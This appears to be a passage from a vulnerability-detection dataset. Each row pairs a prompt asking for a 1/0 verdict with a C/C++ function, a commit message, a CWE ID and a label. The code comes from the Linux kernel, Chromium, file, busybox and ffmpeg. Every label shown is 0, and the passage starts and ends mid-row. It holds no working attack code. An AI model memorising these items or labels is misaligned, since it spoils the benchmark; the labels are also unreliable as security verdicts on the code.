[<c02497bc>] (sctp_packet_transmit+0x0/0x5c8) from [<c023e96c>] (sctp_outq_flush+0x7fc/0x844)
[<c023e170>] (sctp_outq_flush+0x0/0x844) from [<c023ef78>] (sctp_outq_uncork+0x24/0x28)
[<c023ef54>] (sctp_outq_uncork+0x0/0x28) from [<c0234364>] (sctp_side_effects+0x1134/0x1220)
[<c0233230>] (sctp_side_effects+0x0/0x1220) from [<c02330b0>] (sctp_do_sm+0xac/0xd4)
[<c0233004>] (sctp_do_sm+0x0/0xd4) from [<c023675c>] (sctp_assoc_bh_rcv+0x118/0x160)
[<c0236644>] (sctp_assoc_bh_rcv+0x0/0x160) from [<c023d5bc>] (sctp_inq_push+0x6c/0x74)
[<c023d550>] (sctp_inq_push+0x0/0x74) from [<c024a6b0>] (sctp_rcv+0x7d8/0x888)
While we already had various kind of bugs in that area
ec0223ec48a9 ("net: sctp: fix sctp_sf_do_5_1D_ce to verify if
we/peer is AUTH capable") and b14878ccb7fa ("net: sctp: cache
auth_enable per endpoint"), this one is a bit of a different
kind.
Giving a bit more background on why SCTP authentication is
needed can be found in RFC4895:
SCTP uses 32-bit verification tags to protect itself against
blind attackers. These values are not changed during the
lifetime of an SCTP association.
Looking at new SCTP extensions, there is the need to have a
method of proving that an SCTP chunk(s) was really sent by
the original peer that started the association and not by a
malicious attacker.
To cause this bug, we're triggering an INIT collision between
peers; normal SCTP handshake where both sides intent to
authenticate packets contains RANDOM; CHUNKS; HMAC-ALGO
parameters that are being negotiated among peers:
---------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ---------->
<------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] ---------
-------------------- COOKIE-ECHO -------------------->
<-------------------- COOKIE-ACK ---------------------
RFC4895 says that each endpoint therefore knows its own random
number and the peer's random number *after* the association
has been established. The local and peer's random number along
with the shared key are then part of the secret used for
calculating the HMAC in the AUTH chunk.
Now, in our scenario, we have 2 threads with 1 non-blocking
SEQ_PACKET socket each, setting up common shared SCTP_AUTH_KEY
and SCTP_AUTH_ACTIVE_KEY properly, and each of them calling
sctp_bindx(3), listen(2) and connect(2) against each other,
thus the handshake looks similar to this, e.g.:
---------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ---------->
<------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] ---------
<--------- INIT[RANDOM; CHUNKS; HMAC-ALGO] -----------
-------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] -------->
...
Since such collisions can also happen with verification tags,
the RFC4895 for AUTH rather vaguely says under section 6.1:
In case of INIT collision, the rules governing the handling
of this Random Number follow the same pattern as those for
the Verification Tag, as explained in Section 5.2.4 of
RFC 2960 [5]. Therefore, each endpoint knows its own Random
Number and the peer's Random Number after the association
has been established.
In RFC2960, section 5.2.4, we're eventually hitting Action B:
B) In this case, both sides may be attempting to start an
association at about the same time but the peer endpoint
started its INIT after responding to the local endpoint's
INIT. Thus it may have picked a new Verification Tag not
being aware of the previous Tag it had sent this endpoint.
The endpoint should stay in or enter the ESTABLISHED
state but it MUST update its peer's Verification Tag from
the State Cookie, stop any init or cookie timers that may
running and send a COOKIE ACK.
In other words, the handling of the Random parameter is the
same as behavior for the Verification Tag as described in
Action B of section 5.2.4.
Looking at the code, we exactly hit the sctp_sf_do_dupcook_b()
case which triggers an SCTP_CMD_UPDATE_ASSOC command to the
side effect interpreter, and in fact it properly copies over
peer_{random, hmacs, chunks} parameters from the newly created
association to update the existing one.
Also, the old asoc_shared_key is being released and based on
the new params, sctp_auth_asoc_init_active_key() updated.
However, the issue observed in this case is that the previous
asoc->peer.auth_capable was 0, and has *not* been updated, so
that instead of creating a new secret, we're doing an early
return from the function sctp_auth_asoc_init_active_key()
leaving asoc->asoc_shared_key as NULL. However, we now have to
authenticate chunks from the updated chunk list (e.g. COOKIE-ACK).
That in fact causes the server side when responding with ...
<------------------ AUTH; COOKIE-ACK -----------------
... to trigger a NULL pointer dereference, since in
sctp_packet_transmit(), it discovers that an AUTH chunk is
being queued for xmit, and thus it calls sctp_auth_calculate_hmac().
Since the asoc->active_key_id is still inherited from the
endpoint, and the same as encoded into the chunk, it uses
asoc->asoc_shared_key, which is still NULL, as an asoc_key
and dereferences it in ...
crypto_hash_setkey(desc.tfm, &asoc_key->data[0], asoc_key->len)
... causing an oops. All this happens because sctp_make_cookie_ack()
called with the *new* association has the peer.auth_capable=1
and therefore marks the chunk with auth=1 after checking
sctp_auth_send_cid(), but it is *actually* sent later on over
the then *updated* association's transport that didn't initialize
its shared key due to peer.auth_capable=0. Since control chunks
in that case are not sent by the temporary association which
are scheduled for deletion, they are issued for xmit via
SCTP_CMD_REPLY in the interpreter with the context of the
*updated* association. peer.auth_capable was 0 in the updated
association (which went from COOKIE_WAIT into ESTABLISHED state),
since all previous processing that performed sctp_process_init()
was being done on temporary associations, that we eventually
throw away each time.
The correct fix is to update to the new peer.auth_capable
value as well in the collision case via sctp_assoc_update(),
so that in case the collision migrated from 0 -> 1,
sctp_auth_asoc_init_active_key() can properly recalculate
the secret. This therefore fixes the observed server panic.
Fixes: 730fc3d05cd4 ("[SCTP]: Implete SCTP-AUTH parameter processing")
Reported-by: Jason Gunthorpe <jgunthorpe@obsidianresearch.com>
Signed-off-by: Daniel Borkmann <dborkman@redhat.com>
Tested-by: Jason Gunthorpe <jgunthorpe@obsidianresearch.com>
Cc: Vlad Yasevich <vyasevich@gmail.com>
Acked-by: Vlad Yasevich <vyasevich@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: | 0 | 36,249 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: magiccheck(struct magic_set *ms, struct magic *m)
{
uint64_t l = m->value.q;
uint64_t v;
float fl, fv;
double dl, dv;
int matched;
union VALUETYPE *p = &ms->ms_value;
switch (m->type) {
case FILE_BYTE:
v = p->b;
break;
case FILE_SHORT:
case FILE_BESHORT:
case FILE_LESHORT:
v = p->h;
break;
case FILE_LONG:
case FILE_BELONG:
case FILE_LELONG:
case FILE_MELONG:
case FILE_DATE:
case FILE_BEDATE:
case FILE_LEDATE:
case FILE_MEDATE:
case FILE_LDATE:
case FILE_BELDATE:
case FILE_LELDATE:
case FILE_MELDATE:
v = p->l;
break;
case FILE_QUAD:
case FILE_LEQUAD:
case FILE_BEQUAD:
case FILE_QDATE:
case FILE_BEQDATE:
case FILE_LEQDATE:
case FILE_QLDATE:
case FILE_BEQLDATE:
case FILE_LEQLDATE:
case FILE_QWDATE:
case FILE_BEQWDATE:
case FILE_LEQWDATE:
v = p->q;
break;
case FILE_FLOAT:
case FILE_BEFLOAT:
case FILE_LEFLOAT:
fl = m->value.f;
fv = p->f;
switch (m->reln) {
case 'x':
matched = 1;
break;
case '!':
matched = fv != fl;
break;
case '=':
matched = fv == fl;
break;
case '>':
matched = fv > fl;
break;
case '<':
matched = fv < fl;
break;
default:
file_magerror(ms, "cannot happen with float: invalid relation `%c'",
m->reln);
return -1;
}
return matched;
case FILE_DOUBLE:
case FILE_BEDOUBLE:
case FILE_LEDOUBLE:
dl = m->value.d;
dv = p->d;
switch (m->reln) {
case 'x':
matched = 1;
break;
case '!':
matched = dv != dl;
break;
case '=':
matched = dv == dl;
break;
case '>':
matched = dv > dl;
break;
case '<':
matched = dv < dl;
break;
default:
file_magerror(ms, "cannot happen with double: invalid relation `%c'", m->reln);
return -1;
}
return matched;
case FILE_DEFAULT:
case FILE_CLEAR:
l = 0;
v = 0;
break;
case FILE_STRING:
case FILE_PSTRING:
l = 0;
v = file_strncmp(m->value.s, p->s, (size_t)m->vallen, m->str_flags);
break;
case FILE_BESTRING16:
case FILE_LESTRING16:
l = 0;
v = file_strncmp16(m->value.s, p->s, (size_t)m->vallen, m->str_flags);
break;
case FILE_SEARCH: { /* search ms->search.s for the string m->value.s */
size_t slen;
size_t idx;
if (ms->search.s == NULL)
return 0;
slen = MIN(m->vallen, sizeof(m->value.s));
l = 0;
v = 0;
for (idx = 0; m->str_range == 0 || idx < m->str_range; idx++) {
if (slen + idx > ms->search.s_len)
break;
v = file_strncmp(m->value.s, ms->search.s + idx, slen,
m->str_flags);
if (v == 0) { /* found match */
ms->search.offset += idx;
break;
}
}
break;
}
case FILE_REGEX: {
int rc;
file_regex_t rx;
if (ms->search.s == NULL)
return 0;
l = 0;
rc = file_regcomp(&rx, m->value.s,
REG_EXTENDED|REG_NEWLINE|
((m->str_flags & STRING_IGNORE_CASE) ? REG_ICASE : 0));
if (rc) {
file_regerror(&rx, rc, ms);
v = (uint64_t)-1;
} else {
regmatch_t pmatch[1];
size_t slen = ms->search.s_len;
#ifndef REG_STARTEND
#define REG_STARTEND 0
char c;
if (slen != 0)
slen--;
c = ms->search.s[slen];
((char *)(intptr_t)ms->search.s)[slen] = '\0';
#else
pmatch[0].rm_so = 0;
pmatch[0].rm_eo = slen;
#endif
rc = file_regexec(&rx, (const char *)ms->search.s,
1, pmatch, REG_STARTEND);
#if REG_STARTEND == 0
((char *)(intptr_t)ms->search.s)[l] = c;
#endif
switch (rc) {
case 0:
ms->search.s += (int)pmatch[0].rm_so;
ms->search.offset += (size_t)pmatch[0].rm_so;
ms->search.rm_len =
(size_t)(pmatch[0].rm_eo - pmatch[0].rm_so);
v = 0;
break;
case REG_NOMATCH:
v = 1;
break;
default:
file_regerror(&rx, rc, ms);
v = (uint64_t)-1;
break;
}
}
file_regfree(&rx);
if (v == (uint64_t)-1)
return -1;
break;
}
case FILE_INDIRECT:
case FILE_USE:
case FILE_NAME:
return 1;
default:
file_magerror(ms, "invalid type %d in magiccheck()", m->type);
return -1;
}
v = file_signextend(ms, m, v);
switch (m->reln) {
case 'x':
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"u == *any* = 1\n", (unsigned long long)v);
matched = 1;
break;
case '!':
matched = v != l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT "u != %"
INT64_T_FORMAT "u = %d\n", (unsigned long long)v,
(unsigned long long)l, matched);
break;
case '=':
matched = v == l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT "u == %"
INT64_T_FORMAT "u = %d\n", (unsigned long long)v,
(unsigned long long)l, matched);
break;
case '>':
if (m->flag & UNSIGNED) {
matched = v > l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"u > %" INT64_T_FORMAT "u = %d\n",
(unsigned long long)v,
(unsigned long long)l, matched);
}
else {
matched = (int64_t) v > (int64_t) l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"d > %" INT64_T_FORMAT "d = %d\n",
(long long)v, (long long)l, matched);
}
break;
case '<':
if (m->flag & UNSIGNED) {
matched = v < l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"u < %" INT64_T_FORMAT "u = %d\n",
(unsigned long long)v,
(unsigned long long)l, matched);
}
else {
matched = (int64_t) v < (int64_t) l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"d < %" INT64_T_FORMAT "d = %d\n",
(long long)v, (long long)l, matched);
}
break;
case '&':
matched = (v & l) == l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "((%" INT64_T_FORMAT "x & %"
INT64_T_FORMAT "x) == %" INT64_T_FORMAT
"x) = %d\n", (unsigned long long)v,
(unsigned long long)l, (unsigned long long)l,
matched);
break;
case '^':
matched = (v & l) != l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "((%" INT64_T_FORMAT "x & %"
INT64_T_FORMAT "x) != %" INT64_T_FORMAT
"x) = %d\n", (unsigned long long)v,
(unsigned long long)l, (unsigned long long)l,
matched);
break;
default:
file_magerror(ms, "cannot happen: invalid relation `%c'",
m->reln);
return -1;
}
return matched;
}
Commit Message: Correctly compute the truncated pascal string size (Francisco Alonso and
Jan Kaluza at RedHat)
CWE ID: CWE-119 | 0 | 38,062 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: views::Checkbox* checkbox() {
return checkbox_;
}
Commit Message: Clear out some minor TODOs.
BUG=none
Review URL: https://codereview.chromium.org/1047063002
Cr-Commit-Position: refs/heads/master@{#322959}
CWE ID: CWE-20 | 0 | 110,080 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void mpeg4_encode_visual_object_header(MpegEncContext *s)
{
int profile_and_level_indication;
int vo_ver_id;
if (s->avctx->profile != FF_PROFILE_UNKNOWN) {
profile_and_level_indication = s->avctx->profile << 4;
} else if (s->max_b_frames || s->quarter_sample) {
profile_and_level_indication = 0xF0; // adv simple
} else {
profile_and_level_indication = 0x00; // simple
}
if (s->avctx->level != FF_LEVEL_UNKNOWN)
profile_and_level_indication |= s->avctx->level;
else
profile_and_level_indication |= 1; // level 1
if (profile_and_level_indication >> 4 == 0xF)
vo_ver_id = 5;
else
vo_ver_id = 1;
put_bits(&s->pb, 16, 0);
put_bits(&s->pb, 16, VOS_STARTCODE);
put_bits(&s->pb, 8, profile_and_level_indication);
put_bits(&s->pb, 16, 0);
put_bits(&s->pb, 16, VISUAL_OBJ_STARTCODE);
put_bits(&s->pb, 1, 1);
put_bits(&s->pb, 4, vo_ver_id);
put_bits(&s->pb, 3, 1); // priority
put_bits(&s->pb, 4, 1); // visual obj type== video obj
put_bits(&s->pb, 1, 0); // video signal type == no clue // FIXME
ff_mpeg4_stuffing(&s->pb);
}
Commit Message: avcodec/mpeg4videoenc: Use 64 bit for times in mpeg4_encode_gop_header()
Fixes truncation
Fixes Assertion n <= 31 && value < (1U << n) failed at libavcodec/put_bits.h:169
Fixes: ffmpeg_crash_2.avi
Found-by: Thuan Pham <thuanpv@comp.nus.edu.sg>, Marcel Böhme, Andrew Santosa and Alexandru RazvanCaciulescu with AFLSmart
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-20 | 0 | 81,774 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: DesktopSessionWin::DesktopSessionWin(
scoped_refptr<base::SingleThreadTaskRunner> main_task_runner,
scoped_refptr<base::SingleThreadTaskRunner> io_task_runner,
DaemonProcess* daemon_process,
int id,
WtsConsoleMonitor* monitor)
: DesktopSession(daemon_process, id),
main_task_runner_(main_task_runner),
io_task_runner_(io_task_runner),
monitor_(monitor) {
DCHECK(main_task_runner_->BelongsToCurrentThread());
monitor_->AddWtsConsoleObserver(this);
}
Commit Message: Validate and report peer's PID to WorkerProcessIpcDelegate so it will be able to duplicate handles to and from the worker process.
As a side effect WorkerProcessLauncher::Delegate is now responsible for retrieving the client's PID and deciding whether a launch failed due to a permanent error condition.
BUG=134694
Review URL: https://chromiumcodereview.appspot.com/11143025
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@162778 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 118,788 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderWidgetHostViewAura::OnDeviceScaleFactorChanged(
float device_scale_factor) {
if (!window_->GetRootWindow())
return;
RenderWidgetHostImpl* host =
RenderWidgetHostImpl::From(GetRenderWidgetHost());
if (host && host->delegate())
host->delegate()->UpdateDeviceScaleFactor(device_scale_factor);
device_scale_factor_ = device_scale_factor;
const display::Display display =
display::Screen::GetScreen()->GetDisplayNearestWindow(window_);
DCHECK_EQ(device_scale_factor, display.device_scale_factor());
current_cursor_.SetDisplayInfo(display);
SnapToPhysicalPixelBoundary();
}
Commit Message: Allocate a FrameSinkId for RenderWidgetHostViewAura in mus+ash
RenderWidgetHostViewChildFrame expects its parent to have a valid
FrameSinkId. Make sure RenderWidgetHostViewAura has a FrameSinkId even
if DelegatedFrameHost is not used (in mus+ash).
BUG=706553
TBR=jam@chromium.org
Review-Url: https://codereview.chromium.org/2847253003
Cr-Commit-Position: refs/heads/master@{#468179}
CWE ID: CWE-254 | 0 | 132,264 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: print_simple_status(pe_working_set_t * data_set)
{
node_t *dc = NULL;
GListPtr gIter = NULL;
int nodes_online = 0;
int nodes_standby = 0;
dc = data_set->dc_node;
if (dc == NULL) {
mon_warn("No DC ");
}
for (gIter = data_set->nodes; gIter != NULL; gIter = gIter->next) {
node_t *node = (node_t *) gIter->data;
if (node->details->standby && node->details->online) {
nodes_standby++;
} else if (node->details->online) {
nodes_online++;
} else {
mon_warn("offline node: %s", node->details->uname);
}
}
if (!has_warnings) {
print_as("Ok: %d nodes online", nodes_online);
if (nodes_standby > 0) {
print_as(", %d standby nodes", nodes_standby);
}
print_as(", %d resources configured", count_resources(data_set, NULL));
}
print_as("\n");
return 0;
}
Commit Message: High: core: Internal tls api improvements for reuse with future LRMD tls backend.
CWE ID: CWE-399 | 0 | 33,955 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static NOINLINE void attach_option(
struct option_set **opt_list,
const struct dhcp_optflag *optflag,
char *buffer,
int length,
bool dhcpv6)
{
IF_NOT_UDHCPC6(bool dhcpv6 = 0;)
struct option_set *existing;
char *allocated = NULL;
if ((optflag->flags & OPTION_TYPE_MASK) == OPTION_BIN) {
const char *end;
allocated = xstrdup(buffer); /* more than enough */
end = hex2bin(allocated, buffer, 255);
if (errno)
bb_error_msg_and_die("malformed hex string '%s'", buffer);
length = end - allocated;
}
#if ENABLE_FEATURE_UDHCP_RFC3397
if ((optflag->flags & OPTION_TYPE_MASK) == OPTION_DNS_STRING) {
/* reuse buffer and length for RFC1035-formatted string */
allocated = buffer = (char *)dname_enc(NULL, 0, buffer, &length);
}
#endif
existing = udhcp_find_option(*opt_list, optflag->code);
if (!existing) {
struct option_set *new, **curr;
/* make a new option */
log2("attaching option %02x to list", optflag->code);
new = xmalloc(sizeof(*new));
if (!dhcpv6) {
new->data = xmalloc(length + OPT_DATA);
new->data[OPT_CODE] = optflag->code;
new->data[OPT_LEN] = length;
memcpy(new->data + OPT_DATA, (allocated ? allocated : buffer),
length);
} else {
new->data = xmalloc(length + D6_OPT_DATA);
new->data[D6_OPT_CODE] = optflag->code >> 8;
new->data[D6_OPT_CODE + 1] = optflag->code & 0xff;
new->data[D6_OPT_LEN] = length >> 8;
new->data[D6_OPT_LEN + 1] = length & 0xff;
memcpy(new->data + D6_OPT_DATA, (allocated ? allocated : buffer),
length);
}
curr = opt_list;
while (*curr && (*curr)->data[OPT_CODE] < optflag->code)
curr = &(*curr)->next;
new->next = *curr;
*curr = new;
goto ret;
}
if (optflag->flags & OPTION_LIST) {
unsigned old_len;
/* add it to an existing option */
log2("attaching option %02x to existing member of list", optflag->code);
old_len = existing->data[OPT_LEN];
if (old_len + length < 255) {
/* actually 255 is ok too, but adding a space can overlow it */
existing->data = xrealloc(existing->data, OPT_DATA + 1 + old_len + length);
if ((optflag->flags & OPTION_TYPE_MASK) == OPTION_STRING
|| (optflag->flags & OPTION_TYPE_MASK) == OPTION_STRING_HOST
) {
/* add space separator between STRING options in a list */
existing->data[OPT_DATA + old_len] = ' ';
old_len++;
}
memcpy(existing->data + OPT_DATA + old_len, (allocated ? allocated : buffer), length);
existing->data[OPT_LEN] = old_len + length;
} /* else, ignore the data, we could put this in a second option in the future */
} /* else, ignore the new data */
ret:
free(allocated);
}
Commit Message:
CWE ID: CWE-125 | 0 | 13,118 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: QByteArray Polkit1Backend::callerID() const
{
return QDBusConnection::systemBus().baseService().toUtf8();
}
Commit Message:
CWE ID: CWE-290 | 0 | 7,205 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: SYSCALL_DEFINE3(socket, int, family, int, type, int, protocol)
{
return __sys_socket(family, type, protocol);
}
Commit Message: socket: close race condition between sock_close() and sockfs_setattr()
fchownat() doesn't even hold refcnt of fd until it figures out
fd is really needed (otherwise is ignored) and releases it after
it resolves the path. This means sock_close() could race with
sockfs_setattr(), which leads to a NULL pointer dereference
since typically we set sock->sk to NULL in ->release().
As pointed out by Al, this is unique to sockfs. So we can fix this
in socket layer by acquiring inode_lock in sock_close() and
checking against NULL in sockfs_setattr().
sock_release() is called in many places, only the sock_close()
path matters here. And fortunately, this should not affect normal
sock_close() as it is only called when the last fd refcnt is gone.
It only affects sock_close() with a parallel sockfs_setattr() in
progress, which is not common.
Fixes: 86741ec25462 ("net: core: Add a UID field to struct sock.")
Reported-by: shankarapailoor <shankarapailoor@gmail.com>
Cc: Tetsuo Handa <penguin-kernel@i-love.sakura.ne.jp>
Cc: Lorenzo Colitti <lorenzo@google.com>
Cc: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362 | 0 | 82,216 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int JBIG2MMRDecoder::get2DCode() {
const CCITTCode *p;
if (bufLen == 0) {
buf = str->getChar() & 0xff;
bufLen = 8;
++nBytesRead;
p = &twoDimTab1[(buf >> 1) & 0x7f];
} else if (bufLen == 8) {
p = &twoDimTab1[(buf >> 1) & 0x7f];
} else {
p = &twoDimTab1[(buf << (7 - bufLen)) & 0x7f];
if (p->bits < 0 || p->bits > (int)bufLen) {
buf = (buf << 8) | (str->getChar() & 0xff);
bufLen += 8;
++nBytesRead;
p = &twoDimTab1[(buf >> (bufLen - 7)) & 0x7f];
}
}
if (p->bits < 0) {
error(str->getPos(), "Bad two dim code in JBIG2 MMR stream");
return 0;
}
bufLen -= p->bits;
return p->n;
}
Commit Message:
CWE ID: CWE-189 | 0 | 1,173 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int sctp_getsockopt_primary_addr(struct sock *sk, int len,
char __user *optval, int __user *optlen)
{
struct sctp_prim prim;
struct sctp_association *asoc;
struct sctp_sock *sp = sctp_sk(sk);
if (len < sizeof(struct sctp_prim))
return -EINVAL;
len = sizeof(struct sctp_prim);
if (copy_from_user(&prim, optval, len))
return -EFAULT;
asoc = sctp_id2assoc(sk, prim.ssp_assoc_id);
if (!asoc)
return -EINVAL;
if (!asoc->peer.primary_path)
return -ENOTCONN;
memcpy(&prim.ssp_addr, &asoc->peer.primary_path->ipaddr,
asoc->peer.primary_path->af_specific->sockaddr_len);
sctp_get_pf_specific(sk->sk_family)->addr_to_user(sp,
(union sctp_addr *)&prim.ssp_addr);
if (put_user(len, optlen))
return -EFAULT;
if (copy_to_user(optval, &prim, len))
return -EFAULT;
return 0;
}
Commit Message: sctp: fix ASCONF list handling
->auto_asconf_splist is per namespace and mangled by functions like
sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization.
Also, the call to inet_sk_copy_descendant() was backuping
->auto_asconf_list through the copy but was not honoring
->do_auto_asconf, which could lead to list corruption if it was
different between both sockets.
This commit thus fixes the list handling by using ->addr_wq_lock
spinlock to protect the list. A special handling is done upon socket
creation and destruction for that. Error handlig on sctp_init_sock()
will never return an error after having initialized asconf, so
sctp_destroy_sock() can be called without addrq_wq_lock. The lock now
will be take on sctp_close_sock(), before locking the socket, so we
don't do it in inverse order compared to sctp_addr_wq_timeout_handler().
Instead of taking the lock on sctp_sock_migrate() for copying and
restoring the list values, it's preferred to avoid rewritting it by
implementing sctp_copy_descendant().
Issue was found with a test application that kept flipping sysctl
default_auto_asconf on and off, but one could trigger it by issuing
simultaneous setsockopt() calls on multiple sockets or by
creating/destroying sockets fast enough. This is only triggerable
locally.
Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).")
Reported-by: Ji Jianwen <jiji@redhat.com>
Suggested-by: Neil Horman <nhorman@tuxdriver.com>
Suggested-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Acked-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362 | 0 | 43,548 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bsg_read(struct file *file, char __user *buf, size_t count, loff_t *ppos)
{
struct bsg_device *bd = file->private_data;
int ret;
ssize_t bytes_read;
dprintk("%s: read %Zd bytes\n", bd->name, count);
bsg_set_block(bd, file);
bytes_read = 0;
ret = __bsg_read(buf, count, bd, NULL, &bytes_read);
*ppos = bytes_read;
if (!bytes_read || err_block_err(ret))
bytes_read = ret;
return bytes_read;
}
Commit Message: sg_write()/bsg_write() is not fit to be called under KERNEL_DS
Both damn things interpret userland pointers embedded into the payload;
worse, they are actually traversing those. Leaving aside the bad
API design, this is very much _not_ safe to call with KERNEL_DS.
Bail out early if that happens.
Cc: stable@vger.kernel.org
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
CWE ID: CWE-416 | 0 | 47,666 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int copy_verifier_state(struct bpf_verifier_state *dst_state,
const struct bpf_verifier_state *src)
{
struct bpf_func_state *dst;
int i, err;
/* if dst has more stack frames then src frame, free them */
for (i = src->curframe + 1; i <= dst_state->curframe; i++) {
free_func_state(dst_state->frame[i]);
dst_state->frame[i] = NULL;
}
dst_state->curframe = src->curframe;
dst_state->parent = src->parent;
for (i = 0; i <= src->curframe; i++) {
dst = dst_state->frame[i];
if (!dst) {
dst = kzalloc(sizeof(*dst), GFP_KERNEL);
if (!dst)
return -ENOMEM;
dst_state->frame[i] = dst;
}
err = copy_func_state(dst, src->frame[i]);
if (err)
return err;
}
return 0;
}
Commit Message: bpf: 32-bit RSH verification must truncate input before the ALU op
When I wrote commit 468f6eafa6c4 ("bpf: fix 32-bit ALU op verification"), I
assumed that, in order to emulate 64-bit arithmetic with 32-bit logic, it
is sufficient to just truncate the output to 32 bits; and so I just moved
the register size coercion that used to be at the start of the function to
the end of the function.
That assumption is true for almost every op, but not for 32-bit right
shifts, because those can propagate information towards the least
significant bit. Fix it by always truncating inputs for 32-bit ops to 32
bits.
Also get rid of the coerce_reg_to_size() after the ALU op, since that has
no effect.
Fixes: 468f6eafa6c4 ("bpf: fix 32-bit ALU op verification")
Acked-by: Daniel Borkmann <daniel@iogearbox.net>
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Daniel Borkmann <daniel@iogearbox.net>
CWE ID: CWE-125 | 0 | 76,394 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void TransportTexture::OnDestroy() {
channel_->DestroyTransportTexture(route_id_);
}
Commit Message: Fixing Coverity bugs (DEAD_CODE and PASS_BY_VALUE)
CIDs 16230, 16439, 16610, 16635
BUG=NONE
TEST=NONE
Review URL: http://codereview.chromium.org/7215029
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@90134 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119 | 0 | 98,477 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void nullableLongAttributeAttributeGetter(const v8::PropertyCallbackInfo<v8::Value>& info)
{
TestObject* imp = V8TestObject::toNative(info.Holder());
bool isNull = false;
int jsValue = imp->nullableLongAttribute(isNull);
if (isNull) {
v8SetReturnValueNull(info);
return;
}
v8SetReturnValueInt(info, jsValue);
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 121,823 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void BluetoothAdapter::StartDiscoverySession(
const DiscoverySessionCallback& callback,
const ErrorCallback& error_callback) {
StartDiscoverySessionWithFilter(nullptr, callback, error_callback);
}
Commit Message: bluetooth: Implement getAvailability()
This change implements the getAvailability() method for
navigator.bluetooth as defined in the specification.
Bug: 707640
Change-Id: I9e9b3e7f8ea7f259e975f71cb6d9570e5f04b479
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1651516
Reviewed-by: Chris Harrelson <chrishtr@chromium.org>
Reviewed-by: Giovanni Ortuño Urquidi <ortuno@chromium.org>
Reviewed-by: Kinuko Yasuda <kinuko@chromium.org>
Commit-Queue: Ovidio de Jesús Ruiz-Henríquez <odejesush@chromium.org>
Auto-Submit: Ovidio de Jesús Ruiz-Henríquez <odejesush@chromium.org>
Cr-Commit-Position: refs/heads/master@{#688987}
CWE ID: CWE-119 | 0 | 138,207 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool GetAppLaunchContainer(
Profile* profile,
const std::string& app_id,
const Extension** out_extension,
extension_misc::LaunchContainer* out_launch_container) {
ExtensionService* extensions_service = profile->GetExtensionService();
